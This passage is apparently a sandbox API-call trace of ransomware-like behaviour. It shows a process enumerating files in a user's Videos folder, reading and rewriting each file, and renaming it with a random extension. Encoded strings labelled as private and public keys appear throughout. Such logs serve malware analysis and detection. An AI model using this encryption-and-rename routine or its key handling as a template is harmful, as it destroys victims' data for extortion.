HALPmcxz\\Videos\\nNUix\\P1RaoM.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\p1raom.flv")) returned 0x20 [0087.686] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\P1RaoM.flv", dwFileAttributes=0x80) returned 1 [0087.688] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.688] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0087.690] GetCurrentThreadId () returned 0xa30 [0087.690] GetCurrentThreadId () returned 0xa30 [0087.690] GetCurrentThreadId () returned 0xa30 [0087.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.691] GetCurrentThreadId () returned 0xa30 [0087.691] GetCurrentThreadId () returned 0xa30 [0087.691] GetCurrentThreadId () returned 0xa30 [0087.691] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\P1RaoM.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\p1raom.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.691] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0087.691] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.691] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x12e37 [0087.691] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.691] ReadFile (in: hFile=0x11c, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x12e37, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0x12e37, lpOverlapped=0x0) returned 1 [0087.694] CloseHandle (hObject=0x11c) returned 1 [0087.695] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\P1RaoM.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\p1raom.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.698] WriteFile (in: hFile=0x11c, lpBuffer=0x1f13f70*, nNumberOfBytesToWrite=0x12e37, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f13f70*, lpNumberOfBytesWritten=0x18f6ac*=0x12e37, lpOverlapped=0x0) returned 1 [0087.701] CloseHandle (hObject=0x11c) returned 1 [0087.709] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\P1RaoM.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\p1raom.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\P1RaoM.flv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\p1raom.flv.zv7un")) returned 1 [0087.710] GetCurrentThreadId () returned 0xa30 [0087.710] GetCurrentThreadId () returned 0xa30 [0087.710] GetCurrentThreadId () returned 0xa30 [0087.710] GetCurrentThreadId () returned 0xa30 [0087.710] GetCurrentThreadId () returned 0xa30 [0087.710] GetCurrentThreadId () returned 0xa30 [0087.710] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fa65bc0, ftCreationTime.dwHighDateTime=0x1d5d9dd, ftLastAccessTime.dwLowDateTime=0x43cd7c0, ftLastAccessTime.dwHighDateTime=0x1d5de94, ftLastWriteTime.dwLowDateTime=0x43cd7c0, ftLastWriteTime.dwHighDateTime=0x1d5de94, nFileSizeHigh=0x0, nFileSizeLow=0x12473, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="X2Gw1ITrR9nx.mp4", cAlternateFileName="X2GW1I~1.MP4")) returned 1 [0087.710] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.710] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.710] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\X2Gw1ITrR9nx.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\x2gw1itrr9nx.mp4"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fa65bc0, ftCreationTime.dwHighDateTime=0x1d5d9dd, ftLastAccessTime.dwLowDateTime=0x43cd7c0, ftLastAccessTime.dwHighDateTime=0x1d5de94, ftLastWriteTime.dwLowDateTime=0x43cd7c0, ftLastWriteTime.dwHighDateTime=0x1d5de94, nFileSizeHigh=0x0, nFileSizeLow=0x12473)) returned 1 [0087.711] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\X2Gw1ITrR9nx.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\x2gw1itrr9nx.mp4")) returned 0x20 [0087.711] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\X2Gw1ITrR9nx.mp4", dwFileAttributes=0x80) returned 1 [0087.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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